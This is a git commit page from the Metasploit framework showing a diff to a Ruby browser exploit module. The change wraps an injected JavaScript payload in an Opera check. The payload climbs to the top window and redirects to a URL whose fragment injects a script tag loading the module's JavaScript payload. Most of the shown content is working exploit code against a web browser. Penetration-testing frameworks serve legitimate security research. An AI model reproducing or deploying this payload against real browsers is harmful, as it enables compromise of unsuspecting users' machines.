make sure we're running on opera so we don't 404 on a suspicous-looking url if it isn't
git-svn-id: file:///home/svn/framework3/trunk@6963 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4dc13a9e8c
commit
e16647db74
|
@ -152,12 +152,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
|
||||
|
||||
js = %Q^
|
||||
var wnd = window;
|
||||
while (wnd.parent != wnd) {
|
||||
wnd = wnd.parent;
|
||||
if (window.opera) {
|
||||
var wnd = window;
|
||||
while (wnd.parent != wnd) {
|
||||
wnd = wnd.parent;
|
||||
}
|
||||
url = location.href;
|
||||
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
|
||||
}
|
||||
url = location.href;
|
||||
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
|
||||
^
|
||||
content = %Q^
|
||||
#{html_hdr}
|
||||
|
|
Loading…
Reference in New Issue